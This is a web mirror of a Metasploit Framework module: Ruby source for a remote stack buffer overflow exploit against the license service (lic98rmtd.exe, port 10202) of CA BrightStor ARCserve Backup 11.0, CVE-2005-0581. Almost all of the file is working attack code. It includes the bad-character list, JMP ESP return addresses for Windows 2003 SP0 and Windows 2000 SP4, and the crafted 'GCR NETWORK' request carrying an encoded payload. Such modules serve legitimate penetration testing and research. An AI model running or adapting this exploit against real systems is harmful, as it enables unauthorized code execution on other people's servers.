CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/brightstor/license_gcr.rb
Views: 11783
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'CA BrightStor ARCserve License Service GCR NETWORK Buffer Overflow',
14
'Description' => %q{
15
This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup 11.0.
16
By sending a specially crafted request to the lic98rmtd.exe service, an attacker
17
could overflow the buffer and execute arbitrary code.
18
},
19
'Author' => [ 'MC' ],
20
'License' => MSF_LICENSE,
21
'References' =>
22
[
23
[ 'CVE', '2005-0581' ],
24
[ 'OSVDB', '14389' ],
25
[ 'BID', '12705' ],
26
],
27
'Privileged' => true,
28
'DefaultOptions' =>
29
{
30
'EXITFUNC' => 'thread',
31
},
32
'Payload' =>
33
{
34
'Space' => 500,
35
'BadChars' => "\x00\x09\x0a\x0d\x20\x0c\x25\x26\x27\x0b\x2b\x2f\x3a\x3c\x3e\x3f\x40",
36
'StackAdjustment' => -3500,
37
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
38
},
39
'Platform' => 'win',
40
'Targets' =>
41
[
42
[ 'Windows 2003 SP0 English', { 'Ret' => 0x71ae1f9b } ], # JMP ESP wshtcpip.dll
43
[ 'Windows 2000 SP4 English', { 'Ret' => 0x7c30d043 } ], # JMP ESP advapi32.dll
44
],
45
'DisclosureDate' => '2005-03-02',
46
'DefaultTarget' => 0))
47
48
register_options([ Opt::RPORT(10202) ])
49
end
50
51
def exploit
52
connect
53
54
buff = rand_text_alpha_upper(256) + [target.ret].pack('V')
55
buff << make_nops(12) + payload.encoded
56
57
# NETWORK<x.x.x.x buff x.x.x.x.x> ... worked for me.
58
sploit = "A0 GCR NETWORK<#{buff}>RMTV<1.00><EOM>"
59
60
print_status("Trying target #{target.name}...")
61
62
sock.put(sploit)
63
64
handler
65
disconnect
66
end
67
end
68
69